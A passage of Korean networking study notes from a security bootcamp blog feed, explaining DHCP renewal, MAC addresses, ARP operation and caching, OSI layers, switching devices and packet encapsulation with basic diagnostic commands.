<li>이미 사용 중인 IP 정보가 있으므로 DHCP Discover, DHCP Offer 과정은 생략</li>
<li>첫 번째 갱신에 실패하면 남은 시간의 50%가 지난 시점(즉, 초기 임대 시간의 75%가 지난 시점)에 다시 갱신 시도</li>
<li>두 번째 갱신에 실패하면 추가 생신 없이 임대 시간이 모두 지난 시점에 IP를 반납하고 처음부터 다시 IP를 할당받음</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fcda4b80-8771-4b3a-883d-df32f8bd07e0/image.png" alt=""></p>
<br>

<h1 id="3-mac-addressmedia-access-control-address-물리적-주소"><strong>3. MAC Address(Media Access Control Address, 물리적 주소)</strong></h1>
<ul>
<li>네트워크 세그먼트의 데이터 링크 계층(L2)에서 통신을 위한 네트워크 인터페이스에 할당된 고유 식별자</li>
<li>LAN 카드(NIC)에 새겨진 주소(BIA, Burned-In Address)</li>
<li>48bit<ul>
<li>OUI(Organizationally unique identifier, 24bit)<ul>
<li>IEEE가 제조사에 할당(제조사 코드)</li>
</ul>
</li>
<li>UAA(Universally Administered Address, 24bit)<ul>
<li>각 제조사에서 네트워크 구성 요소에 할당(기기 고유 코드, 일련번호)</li>
</ul>
</li>
</ul>
</li>
<li>LAN 영역에서 내부 통신을 수행하기 위해 필요한 주소</li>
</ul>
<br>

<h2 id="1-mac-주소-동작"><strong>1) MAC 주소 동작</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ab083239-8d3c-4509-87de-e58c29e77926/image.png" alt=""></p>
<p>데이터 링크 계층에서는 출발지 MAC 주소, 목적지 MAC 주소, DATA의 형태로 네트워크에 보낸다. 이때, 목적지 MAC 주소가 자신의 것이라면 들어오는 패킷을 읽어서 위 계층으로 전달한다. 목적지 주소가 자신의 것이 아니라면 없애버린다.</p>
<br>

<h2 id="2-무차별-모드promiscuous-mode"><strong>2) 무차별 모드(Promiscuous Mode)</strong></h2>
<ul>
<li>기본적으로 NIC는 패킷의 목적지 MAC 주소가 자신의 MAC 주소와 다르면 폐기</li>
<li>무차별 모드로 NIC를 구성하면 자신의 MAC 주소와 상관없는 패킷이 들어와도 이를 분석할 수 있도록 메모리에 올려 처리할 수 있게 함</li>
<li>네트워크 상태를 모니터링하거나 디버깅, 분석 용도로 네트워크 전체 패킷을 수집해야 하는 경우 사용</li>
</ul>
<br>

<h2 id="3-ip-주소와-mac-주소"><strong>3) IP 주소와 MAC 주소</strong></h2>
<table>
<thead>
<tr>
<th><strong>구분</strong></th>
<th><strong>구성</strong></th>
<th><strong>기능</strong></th>
</tr>
</thead>
<tbody><tr>
<td>IP 주소</td>
<td>32비트 = 네트워크 ID + 호스트 ID</td>
<td>IP 주소 기반 라우팅</td>
</tr>
<tr>
<td>MAC 주소</td>
<td>48비트 = OUI + UAA</td>
<td>MAC 주소 기반 라우팅</td>
</tr>
</tbody></table>
<br>

<h1 id="4-arpaddress-resolution-protocol-주소-결정-프로토콜"><strong>4. ARP(Address Resolution Protocol, 주소 결정 프로토콜)</strong></h1>
<ul>
<li>네트워크상에서 IP 주소를 MAC 주소로 대응시키기 위해 사용되는 프로토콜</li>
<li>상대방의 MAC 주소를 알아내기 위해 사용되는 프로토콜</li>
<li>데이터 통신을 위해 2계층의 MAC 주소와 3계층 IP 주소 두 개를 사용<ul>
<li>IP 주소 체계는 MAC 주소와 전혀 연관성이 없으므로 두 주로를 연계시켜 주는 메커니즘이 필요</li>
<li>그 메커니즘이 APR</li>
</ul>
</li>
</ul>
<br>

<h2 id="1-arp-헤더"><strong>1) ARP 헤더</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/9763a70c-54dc-4a95-b2aa-40334b7c7252/image.png" alt=""></p>
<h3 id="1-hardware-type"><strong>(1) Hardware Type</strong></h3>
<ul>
<li>하드웨어 주소(MAC) 유형을 나타내며, 이더넷 통신 시 항상 1로 설정</li>
</ul>
<h3 id="2-protocol-type"><strong>(2) Protocol Type</strong></h3>
<ul>
<li>맵핑 대상인 프로토콜 주소의 유형을 나타내며 IPv4의 경우 0x0800으로 설정</li>
</ul>
<h3 id="3-hardware-address-length"><strong>(3) Hardware Address Length</strong></h3>
<ul>
<li>하드웨어 주소(MAC)의 길이를 byte로 나타내고, 이더넷 상에서 6으로 설정</li>
</ul>
<h3 id="4-protocol-address-length"><strong>(4) Protocol Address Length</strong></h3>
<ul>
<li>프로토콜 주소의 길이를 byte로 나타내고, IPv4의 경우 4로 설정</li>
</ul>
<h3 id="5-operation-codeopcode"><strong>(5) Operation Code(Opcode)</strong></h3>
<ul>
<li>ARP의 구체적인 동작</li>
<li>1 : ARP Request</li>
<li>2 : ARP Reply</li>
<li>3 : RARP Requet</li>
<li>4: RARP Rely</li>
</ul>
<h3 id="6-source-hardware-address"><strong>(6) Source Hardware Address</strong></h3>
<ul>
<li>송신자의 MAC 주소</li>
</ul>
<h3 id="7-source-protocol-address"><strong>(7) Source Protocol Address</strong></h3>
<ul>
<li>송신자의 IP 주소</li>
</ul>
<h3 id="8-target-hardware-address"><strong>(8) Target Hardware Address</strong></h3>
<ul>
<li>수신자의 MAC 주소, ARP Request 동작 시 0으로 설정</li>
<li>이더넷 헤더의 목적지 주소가 FF;FF;FF;FF;FF;FF로 설정되면 브로드캐스팅</li>
</ul>
<h3 id="9-target-protocol-address"><strong>(9) Target Protocol Address</strong></h3>
<ul>
<li>수신자의 IP 주소</li>
</ul>
<br>

<h2 id="2-arp-동작"><strong>2) ARP 동작</strong></h2>
<h3 id="1-목적지-mac-주소를-모르기-때문에-정상적인-패킷을-만들-수-없음"><strong>(1) 목적지 MAC 주소를 모르기 때문에 정상적인 패킷을 만들 수 없음</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2000f127-317f-42ea-82d3-43f33dc7393f/image.png" alt=""></p>
<br>

<h3 id="2-arp-요청을-네트워크에-브로드캐스트arp-request"><strong>(2) ARP 요청을 네트워크에 브로드캐스트(ARP Request)</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/23a81aa4-7c8b-459e-a98c-7de63b4fde36/image.png" alt=""></p>
<p>목적지 MAC 주소를 브로드캐스트(FF:FF:FF:FF:FF:FF)로, 대상 MAC 주소를 00-00-00-00-00-00으로 채워서 전달</p>
<p>앞 브로드캐스트는 이더넷 헤더, 뒤 MAC 주소는 ARP 헤더다.</p>
<p>브로드캐스트는 목적지가 정해져 있지 않은 것으로 해당하는 네트워크에 전체에게 보내는 것이다.</p>
<p>전송자 MAC부터는 ARP Request 패킷이다. 이때 대상자 MAC을 체크하는데 00으로 되어 있으면 ARP Request이므로 대상자 IP를 확인한다. 대상자 IP를 보고 자신의 MAC IP 주소와 일치하는지 아닌지를 판단해서 자신의 주소와 일치하면 유니캐스트 한다.</p>
<br>

<h3 id="3-출발지로-arp-응답을-유니캐스트arp-reply"><strong>(3) 출발지로 ARP 응답을 유니캐스트(ARP Reply)</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/61a5d0e4-f5b5-44b2-a9d6-97b14576549f/image.png" alt=""></p>
<p>ARP 요청에 있는 대상자 IP 주소가 자신의 IP와 동일한 경우, 출발지로 ARP 응답을 유니캐스트 한다.</p>
<p>유니캐스트는 목적지가 하나로 정해져 있는 것이다.</p>
<p>이더넷 헤더의 출발지 MAC 주소가 자신의 것으로 설정하고 목적지 MAC 주소는 Request를 요청한 주소로 설정한다.</p>
<p>전송지 정보는 Request의 대상자 정보가 들어가고, 대상자 정보는 Request의 전송자 정보가 들어간다.</p>
<br>

<h3 id="4-arp-캐시-테이블-갱신-후-패킷-전송"><strong>(4) ARP 캐시 테이블 갱신 후 패킷 전송</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c71a4720-c438-453b-be9f-9b75f4e52a11/image.png" alt=""></p>
<p>처음에는 목적지 MAC을 몰랐기 때문에 브로드캐스트 했다. 이제 로컬에 있는 캐시 테이블에 MAC 주소를 업데이트하고 패킷을 완성해서 데이터를 전송한다.</p>
<br>

<h1 id="5-arp-캐시-테이블"><strong>5. ARP 캐시 테이블</strong> </h1>
<blockquote>
<p><strong>패킷을 보낼 때마다 ARP 브로드캐스트를 수행하면 네트워크 통신의 효율성이 크게 저하되므로 ARP Reply 정보를 메모리에 정보를 저장해서 재사용하도록 하는 것</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/70ebfe89-6378-460a-ae5b-77cc36c6a125/image.png" alt=""></p>
<ul>
<li>arp -d<ul>
<li>arp 캐시 테이블 삭제</li>
</ul>
</li>
<li>ping 8.8.8.8<ul>
<li>구글 DNS</li>
</ul>
</li>
<li>arp -a<ul>
<li>ARP 캐시 테이블 확인</li>
</ul>
</li>
<li>192.168.150.130<ul>
<li>해당 호스트의 IP 주소</li>
</ul>
</li>
<li>192.168.150.2<ul>
<li>기본 게이트웨이의 NIC</li>
</ul>
</li>
</ul>
<br>

<h1 id="6-ping-8888-동작-순서"><strong>6. ping 8.8.8.8 동작 순서</strong></h1>
<h2 id="1-출발지-ip와-목적지-ip의-네트워크-id-비교"><strong>1) 출발지 IP와 목적지 IP의 네트워크 ID 비교</strong></h2>
<table>
<thead>
<tr>
<th>구분</th>
<th>출발지 IP</th>
<th>목적지 IP</th>
</tr>
</thead>
<tbody><tr>
<td>IP</td>
<td>192.168.150.130</td>
<td>8.8.8.8</td>
</tr>
<tr>
<td>Subnet mask</td>
<td>255.255.255.0</td>
<td>255.255.255.0</td>
</tr>
<tr>
<td>Network ID</td>
<td>192.168.150.</td>
<td>8.8.8.</td>
</tr>
</tbody></table>
<p>출발지의 Subnet mask를 적용해서 Network ID를 비교한다. 비교해서 서로 다르면 목적지 주소를 게이트웨이 주소로 변경한다.</p>
<br>

<h2 id="2-게이트웨이의-mac-주소-확인을-위해-arp-request-브로드캐스팅"><strong>2) 게이트웨이의 MAC 주소 확인을 위해 ARP Request 브로드캐스팅</strong></h2>
<blockquote>
<p><strong>브로드캐스팅 한다는 것은 목적지 MAC이 설정되지 않음을 뜻함</strong></p>
</blockquote>
<br>

<table>
<thead>
<tr>
<th><strong>구분</strong></th>
<th><strong>출발지 IP</strong></th>
<th><strong>목적지 IP</strong></th>
</tr>
</thead>
<tbody><tr>
<td>IP</td>
<td>192.168.150.130</td>
<td>192.168.150.2</td>
</tr>
<tr>
<td>MAC</td>
<td>00-0C-29-7A-7E-B8</td>
<td>00-00-00-00-00-00</td>
</tr>
</tbody></table>
<p>LAN 영역의 모든 호스트는 ARP 브로드캐스팅 질의를 수신 목적지 IP 주소가 일치하는 호스트가 ARP Reply를 전송한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/23da7c48-6025-4000-a315-b3042ed2c1c6/image.png" alt=""></p>
<br>

<h2 id="3-게이트웨이가-자신의-mac-주소-유니캐스트"><strong>3) 게이트웨이가 자신의 MAC 주소 유니캐스트</strong></h2>
<table>
<thead>
<tr>
<th><strong>구분</strong></th>
<th><strong>출발지 IP</strong></th>
<th><strong>목적지 IP</strong></th>
</tr>
</thead>
<tbody><tr>
<td>IP</td>
<td>192.168.150.2</td>
<td>192.168.150.130</td>
</tr>
<tr>
<td>MAC</td>
<td>00-50-56-e7-01-21</td>
<td>00-0C-29-7A-7E-B8</td>
</tr>
</tbody></table>
<p><img src="https://velog.velcdn.com/images/en_geon/post/80d30b39-7ba1-478d-b414-3c5d65c26cee/image.png" alt=""></p>
<br>

<h2 id="4-응답받은-출발지-호스트는-자신의-arp-캐시-테이블-업데이트"><strong>4) 응답받은 출발지 호스트는 자신의 ARP 캐시 테이블 업데이트</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/0fb472a4-3d27-4d3b-918c-d71a96708148/image.png" alt=""></p>
<br>

<h2 id="5-mac-주소-이용해서-유니캐스팅"><strong>5) MAC 주소 이용해서 유니캐스팅</strong></h2>
<blockquote>
<p><strong>이후부터는 게이트웨이와 통신하기 위해서는 로컬 ARP 캐시 테이블에 MAC 주소를 이용해서 유니캐스팅</strong></p>
</blockquote>
<table>
<thead>
<tr>
<th><strong>구분</strong></th>
<th><strong>출발지 IP</strong></th>
<th><strong>목적지 IP</strong></th>
</tr>
</thead>
<tbody><tr>
<td>IP</td>
<td>192.168.150.130</td>
<td>192.168.150.2</td>
</tr>
<tr>
<td>MAC</td>
<td>00-0C-29-7A-7E-B8</td>
<td>00-50-56-e7-01-21</td>
</tr>
</tbody></table>
<br>

<h1 id="7-arp-영역"><strong>7. ARP 영역</strong></h1>
<blockquote>
<p><strong>ARP 요청과 응답이 일어나는 영역</strong></p>
</blockquote>
<p>ARP 요청과 응답은 같은 네트워크에서 즉, LAN 영역 일어난다.</p>
<p>LAN 영역이란 동일한 네트워크 ID를 공유하는 호스트가 MAC 주소에 기반해서 스위칭 방식으로 내부 통신을 수행하면서 단일 ARP 영역을 생성하는 공간이다.</p>
<br>

<h2 id="1-데이터-전송할-때-사용하는-통신-방식"><strong>1) 데이터 전송할 때 사용하는 통신 방식</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/864cbb87-b650-4146-b5e7-9c1cbd17b668/image.png" alt=""></p>
<h3 id="1-유니캐스트"><strong>(1) 유니캐스트</strong></h3>
<ul>
<li>1 : 1</li>
<li>출발지와 목적지가 1 : 1로 통신</li>
<li>대부분의 통신은 유니캐스트 방식으로 진행</li>
<li>TCP, UDP 모두 지원</li>
</ul>
<br>

<h3 id="2-브로드캐스트"><strong>(2) 브로드캐스트</strong></h3>
<ul>
<li>1 : All</li>
<li>동일 네트워크에 존재하는 모든 호스트가 목적지</li>
<li>목적지 주소가 All(FF-FF-FF-FF-FF-FF)으로 표기된 통신 방식</li>
<li>로커 네트워크에서 모든 호스트에 패킷을 전달해야 할 때 사용</li>
<li>유니캐스트 통신전에 상대방의 MAC 주소를 취득하기 위해 사용 - ARP Request</li>
<li>UDP 지원</li>
</ul>
<br>

<h3 id="3-멀티캐스트"><strong>(3) 멀티캐스트</strong></h3>
<ul>
<li>1 : N (멀티캐스트 구독 호스트 = 그룹) </li>
<li>하나의 출발지에서 다수의 특정 목적지로 데이터를 전송</li>
<li>멀티캐스트 그룹 주소를 이용해서 해당 그룹에 속한 다수의 목적지로 패킷을 전송하기 위한 통신 방식</li>
<li>IPTV와 같은 실시간 방송, 사내 방송, 증권 시세와 같은 단방향으로 다수에게 동일한 내용을 전달할 때 사용 </li>
<li>UDP 사용</li>
</ul>
<br>

<h3 id="4-애니캐스트"><strong>(4) 애니캐스트</strong></h3>
<ul>
<li>1 : 1 (동일 그룹 내의 1개 호스트)</li>
<li>다수의 동일 그룹 중 가장 가까운 호스트에서 응답</li>
<li>애니캐스트 주소가 같은 호스트 중 가장 가깝거나 효율적으로 서비스할 수 있는 호스트와 통신하는 방식</li>
<li>가장 가까운 DNS 서버를 찾을 때 사용</li>
</ul>
<br>

<h1 id="8-계층layer"><strong>8. 계층(layer)</strong></h1>
<ul>
<li>비음성 통신에서 데이터를 전송하기 위한 일련의 좌정, 단계, 절차</li>
<li>송신자 운영체제가 응용 계층에서 시작해 전송, 네트워크, 데이터 링크 계층 순으로 데이터를 전송</li>
<li>수신자 운영체제가 역으로 물리 계층에서 시작해 데이터 링크, 네트워크, 전송, 응용 계층 순으로 데이터를 수신</li>
</ul>
<br>

<h2 id="1-iso-osi-7-layer"><strong>1) ISO OSI 7 Layer</strong></h2>
<blockquote>
<p><strong>ISO(International Organization for Standardization, 국제 표준 기구)에서 서로 다른 시스템(개방형 시스템, Open System) 간 통신을 허용(상호 연결, Inter Connection)하기 위해 만든 모델 OSI(Open System Interconnection)</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/f8de4af6-d887-4ebf-b368-83822a98420b/image.png" alt=""></p>
<h3 id="1-l7-응용-계층"><strong>(1) L7 응용 계층</strong></h3>
<ul>
<li>애플리케이션 프로세스를 정의하고 애플리케이션 서비스를 수행</li>
<li>User Interface 제공<ul>
<li>UI를 통해 데이터 생성</li>
<li>HTTP, FTP, Telnet, SMTP, SNMP, NFS 등</li>
</ul>
</li>
</ul>
<br>

<h3 id="2-l6-표현-계층"><strong>(2) L6 표현 계층</strong></h3>
<ul>
<li>표현 방식이 다른 애플리케이션이나 시스템 간의 통신을 돕기 위해 하나의 통일된 구문 형식으로 변화하는 기능<ul>
<li>코드 변환(encoding)</li>
<li>압축(compression)</li>
<li>암호화(encryption)</li>
</ul>
</li>
</ul>
<br>

<h3 id="3-l5-세션-계층"><strong>(3) L5 세션 계층</strong></h3>
<ul>
<li>응용 프로그램 간에 데이터 전송을 위한 동기화, 데이터의 오류검사 및 복구 기능 수행</li>
<li>서비스 제공자와 요청자 간을 연결하고 대화를 개시하는 역할</li>
</ul>
<br>

<h3 id="4-l4-전송-계층"><strong>(4) L4 전송 계층</strong></h3>
<ul>
<li>프로세스와 프로세스 간의 전달(Process-to-process segment delivery)</li>
<li>가상 회선 설정, 유지, 해지</li>
<li>상위 계층 프로세스에 신뢰성 있게 전달하는 역할<ul>
<li>신뢰성은 확인응답 등을 통해 오류 검사를 한다는 의미</li>
</ul>
</li>
<li>패킷이 유실되거나 순서가 바뀌었을 때 바로잡아 주는 역할(미비점을 해소하기 위한 역할)<ul>
<li>시퀀스 번호 - 패킷을 보내는 순서 명시</li>
<li>ACK 번호 - 받는 순서 명시</li>
</ul>
</li>
<li>로드 밸런서, 방화벽</li>
<li>주요 기능<ul>
<li>서비스 지점 주소 지정</li>
<li>분할과 재조립</li>
<li>연결 제어</li>
<li>흐름 제어</li>
<li>오류 제어</li>
</ul>
</li>
</ul>
<br>

<h3 id="5-l3-네트워크-계층"><strong>(5) L3 네트워크 계층</strong></h3>
<ul>
<li>호스트 간의 데이터 전송 기능(Host-to-host packet delivery)</li>
<li>데이터의 전송 경로 설정</li>
<li>최적 경로 결정(routing)</li>
<li>라우터(router)<ul>
<li>IP 주소를 사용해 최적의 경로를 찾아서 패킷을 전송하는 역할의 장비</li>
</ul>
</li>
<li>서로 다른 네트워크로 구성된 인터네트워킹을 통해 올바른 데이터 경로를 보장</li>
</ul>
<br>

<h3 id="6-l2-데이터-링크-계층"><strong>(6) L2 데이터 링크 계층</strong></h3>
<ul>
<li>인접 노드 사이의 데이터 전송 기능 수행(Node-to-node frame delivery)</li>
<li>전기 신호를 모아 우리가 알아볼 수 있는 데이터 형태로 처리</li>
<li>NIC, 스위치</li>
<li>프레임을 생성하고 전송하는 방법을 규정</li>
<li>주요 임무<ul>
<li>헤더와 트레일러를 붙여서 프레임 구성</li>
<li>물리주소 지정</li>
<li>흐름 제어</li>
<li>오류 제어</li>
<li>접속 제어</li>
</ul>
</li>
<li>대표적인 프로토콜<ul>
<li>HDLC(High-level Data Link Control)</li>
<li>PPP(Point-to-Point Protocol)</li>
</ul>
</li>
</ul>
<br>

<h3 id="7-l1-물리-계층"><strong>(7) L1 물리 계층</strong></h3>
<ul>
<li>물리적인 전송로 제공</li>
<li>전기적, 기계적, 기능적, 절차적 수단 제공</li>
<li>주소 개념이 없기 때문에 전기 신호가 들어온 포트를 제외하고 모든 포트에 같은 신호를 전송</li>
<li>허브, 리피터, 케이블, 커넥터, 트랜시버, 탭</li>
</ul>
<br>

<h1 id="9-네트워크-장비에서-패킷-전송-방법"><strong>9. 네트워크 장비에서 패킷 전송 방법</strong></h1>
<ul>
<li>Forwarding<ul>
<li>하나의 송신지 포트에서 하나의 수신지 포트로 트래픽 전달</li>
</ul>
</li>
<li>Flooding<ul>
<li>송신지 포트를 제외한 나머지 포트들로 트래픽 전달</li>
</ul>
</li>
</ul>
<br>

<h2 id="1-hub"><strong>1) Hub</strong></h2>
<ul>
<li>L1 물리 계층 장비</li>
<li>주소가 없으므로 모든 포트로 Flooding 처리</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/d9595951-9d11-4f42-be6d-08cd9c69b8ba/image.png" alt=""></p>
<br>

<h2 id="2-switch"><strong>2) Switch</strong></h2>
<ul>
<li>L2 데이터 링크 계층</li>
<li>MAC Address Table을 이용해서 Forwarding 처리</li>
<li>MAC Address Table에 목적지 MAC 주소가 없는 경우 Flooding 처리</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/9c57ebca-d8ef-4279-93b1-047d6b3b4cdf/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fdbceb85-fc26-4ef2-8c5f-3f038b8be818/image.png" alt=""></p>
<br>

<h2 id="3-router"><strong>3) Router</strong></h2>
<ul>
<li>L3 네트워크 계층</li>
<li>Routing Table을 기반으로 Forwarding 처리</li>
<li>Routing Table에 없는 목적지 주소는 Drop 처리</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7606acb4-f756-4bfe-9cb1-4088dafa37c0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/40a5a6c3-aefa-4eca-b539-b4cc55460f3a/image.png" alt=""></p>
<br>

<h1 id="10-통신-체계와-통신-규약"><strong>10. 통신 체계와 통신 규약</strong></h1>
<table>
<thead>
<tr>
<th><strong>통신체계</strong></th>
<th><strong>프로토콜 종류</strong></th>
<th><strong>용도</strong></th>
</tr>
</thead>
<tbody><tr>
<td>TCP/IP</td>
<td>HTTP, Telnet, TCP, UDP</td>
<td>인터넷과 LAN에서 사용</td>
</tr>
<tr>
<td>IPX/SPX</td>
<td>IPX, SPX, NPC</td>
<td>노벨사가 개발 및 판매하는 Netware 시스템에서 사용</td>
</tr>
<tr>
<td>Appltalk</td>
<td>DDP, RTMP, ATP</td>
<td>애플사 제품의 LAN에서 사용</td>
</tr>
<tr>
<td>DECnet</td>
<td>DPR, NSP, SCP</td>
<td>덱 사의 미니컴퓨터에서 사용</td>
</tr>
<tr>
<td>XNS</td>
<td>IDP, SPP, PEP</td>
<td>제록스 사의 네트워크에서 사용</td>
</tr>
</tbody></table>
<br>

<p>독점적 프로토콜(Vender Specific Protocol)</p>
<ul>
<li>특정 업체에서 개발한 프로토콜</li>
<li>다른 프로토콜과 호환이 불가능</li>
</ul>
<br>

<p>비독점적 프로토콜(Open Protocol)</p>
<ul>
<li>학교 또는 연구기관에서 개발</li>
<li>이기종 장비 간 통신이 가능</li>
<li>TCP/IP, 802.3 등</li>
</ul>
<br>

<h2 id="1-tcpip"><strong>1) TCP/IP</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/307fcc86-26f2-4680-9825-73a54d153aba/image.png" alt=""></p>
<p>TCP/IP는 총 4계층으로 OSI 7 Layer의 7<del>5계층을 묶어 Application으로 사용하고, Transport, Internet, 2</del>1계층을 묶어 Network Interface 구성으로 프로토콜을 정의하고 있다.</p>
<br>

<h1 id="11-전송-데이터-구성"><strong>11. 전송 데이터 구성</strong></h1>
<blockquote>
<p>헤더3 + 헤더2 + 헤더1 + 페이로드</p>
</blockquote>
<ul>
<li>헤더<ul>
<li>보내는 호스트의 주소(출발지 주소)와 받는 호스트의 주소(목적지 주소)가 담긴 공간</li>
</ul>
</li>
<li>payload<ul>
<li>사용자가 상대방에게 전송하고자 하는 실제 정보가 담긴 공간</li>
</ul>
</li>
<li>메시지<ul>
<li>페이로드만으로 이루어진 데이터 전송 단위</li>
</ul>
</li>
</ul>
<br>

<h2 id="1-인캡슐레이션--디캡슐레이션"><strong>1) 인캡슐레이션 &amp; 디캡슐레이션</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/dbdc2305-22f6-4ab6-b162-3194102aa45b/image.png" alt=""></p>
<br>

<h3 id="1-인캡슐레이션"><strong>(1) 인캡슐레이션</strong></h3>
<ul>
<li>페이로드 앞에 헤더를 붙이는 과정</li>
<li>운영체제가 데이터를 송신하는 과정</li>
<li>메시지 &gt; 데이터그램/세그먼트 &gt; 패킷 &gt; 프레임 &gt; 비트</li>
<li>역할<ul>
<li>정보은닉</li>
<li>라우터는 패킷 헤더만 읽을 수 있을 뿐 데이터그램/세그먼트 헤더 이하는 읽을 수 없음</li>
<li>스위치는 프레임 헤더만 읽을 수 있을 뿐 패킷 헤더 이하는 읽을 수 없음</li>
</ul>
</li>
</ul>
<br>

<h3 id="2-디캡슐레이션"><strong>(2) 디캡슐레이션</strong></h3>
<ul>
<li>헤더를 떼는 과정</li>
<li>데이터를 수신하는 과정</li>
<li>비트 &gt; 프레임 &gt; 패킷 &gt; 데이터그램/세그먼트 &gt; 메시지</li>
</ul>
<br>

<h2 id="2-데이터그램-또는-세그먼트"><strong>2) 데이터그램 또는 세그먼트</strong></h2>
<blockquote>
<p>데이터그램 헤더 + UDP 페이로드 또는 세그먼트 헤더 + TCP 페이로드</p>
</blockquote>
<ul>
<li>페이로드 앞에 붙는 첫 번째 헤더</li>
<li>출발지, 목적지 <strong>포트 번호</strong>를 포함</li>
<li>수신 측 운영체제에서는 데이터그램 또는 세그먼트 헤더에 담긴 포트 번호를 통해 페이로드의 내용이 어떤 종류의 서비스로 전달할지 판단<ul>
<li>송신 측 기준<ul>
<li>목적지 포트 - 일반적인 서비스 포트 번호를 사용</li>
<li>type C:\Windows|System32\drivers\etc\services 확인 가능</li>
<li>출발지 포트 - 1024번 이후의 포트 번호 사용</li>
</ul>
</li>
</ul>
</li>
</ul>
<br>

<h2 id="3-패킷"><strong>3) 패킷</strong></h2>
<blockquote>
<p>패킷 헤더 + 데이터그램 헤더 + UDP 페이로드 또는 패킷 헤더 + 세그먼트 헤더 + TCP 페이로드</p>
</blockquote>
<br>

<h3 id="1-패킷-헤더"><strong>(1) 패킷 헤더</strong></h3>
<ul>
<li>데이터그램/세그먼트 앞에 붙이는 두 번째 헤더</li>
<li>출발지, 목적지 <strong>IP 주소</strong> 포함</li>
<li><strong>라우터 장비</strong>가 라우팅 기능을 수행할 때 참조하는 부분</li>
</ul>
<br>

<h2 id="4-프레임"><strong>4) 프레임</strong></h2>
<blockquote>
<p>프레임 헤더 + 패킷 헤더 + 데이터그램 헤더 + UDP 페이로드 + 트레일<br>프레임 헤더 + 패킷 헤더 + 세그먼트 헤더 + TCP 페이로드 + 트레일</p>
</blockquote>
<br>

<h3 id="1-프레임-헤더"><strong>(1) 프레임 헤더</strong></h3>
<ul>
<li>패킷 앞에 붙이는 세 번째 헤더</li>
<li>LAN 영역인 경우 <strong>MAC 주소</strong> 포함</li>
<li><strong>스위치 장비</strong>가 스위칭 기능을 수행할 때 참조하는 부분</li>
<li>LAN 영역과 WAN 영역에 따라 상이하게 설정</li>
</ul>
<table>
<thead>
<tr>
<th><strong>구분</strong></th>
<th><strong>LAN 영역</strong></th>
<th><strong>WAN 영역</strong></th>
</tr>
</thead>
<tbody><tr>
<td>데이터그램/세그먼트 헤더</td>
<td>출발지/목적지 포트 번호</td>
<td>출발지/목적지 포트 번호</td>
</tr>
<tr>
<td>패킷 헤더</td>
<td>출발지/목적지 IP 주소</td>
<td>출발지/목적지 IP 주소</td>
</tr>
<tr>
<td>프레임 헤더</td>
<td><strong>출발지/목적지 MAC 주소</strong></td>
<td><strong>WAN 영역에 대한 정보</strong></td>
</tr>
</tbody></table>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][시스템 / 네트워크 보안] - IP, OSI 7 layer, LAN, DNS]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-1</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-1</guid>
            <pubDate>Fri, 05 Apr 2024 00:00:56 GMT</pubDate>
            <description><![CDATA[<h1 id="1-ipconfig"><strong>1. ipconfig</strong></h1>
<blockquote>
<p><strong><a href="https://learn.microsoft.com/ko-kr/windows-server/administration/windows-commands/ipconfig">ipconfig 설명</a></strong></p>
</blockquote>
<p>운영체제에서 네트워크 인터페이스 설정을 확인하고 관리하는 데 사용되는 명령어다.</p>
<p>네트워크 인터페이스의 정보를 출력한다.</p>
<ul>
<li>IP 주소</li>
<li>서브넷 마스크</li>
<li>기본 게이트웨이</li>
<li>MAC 주소</li>
<li>DNS 서버 주소</li>
<li>DHCP 서버 주소</li>
</ul>
<br>

<h2 id="1-ipinternet-protocol-주소"><strong>1) IP(Internet Protocol) 주소</strong></h2>
<ul>
<li>인터넷 공간에서 각 호스트의 고유한 식별자를 의미</li>
<li>컴퓨터 네트워크에서 장치들이 서로를 인식하고 통신을 하기 위해서 사용하는 특수한 번호(주소)</li>
<li>IPv4 주소를 표기할 때는 8비트 단위의 옥텟(octet)으로 나눠서 각 옥텟은 콤마로 구분해서 표기</li>
<li>10진수로 표기<ul>
<li>1옥텟은 0~255 나타낼 수 있음</li>
</ul>
</li>
</ul>
<br>

<h3 id="1-주소-구분"><strong>(1) 주소 구분</strong></h3>
<ul>
<li>네트워크 주소<ul>
<li>호스트를 모은 네트워크를 지칭하는 주소</li>
<li>네트워크 주소가 동일한 네트워크를 로컬 네트워크라고 함</li>
</ul>
</li>
<li>호스트 주소<ul>
<li>하나의 네트워크 내에 존재하는 호스트를 구분하기 위한 주소</li>
</ul>
</li>
</ul>
<br>

<h3 id="2-ip-주소의-클래스"><strong>(2) IP 주소의 클래스</strong> </h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/f27014c6-f1e0-43c3-aa0c-901ff5577cd8/image.png" alt=""></p>
<br>

<h3 id="3-특수-목적-예약"><strong>(3) 특수 목적 예약</strong></h3>
<blockquote>
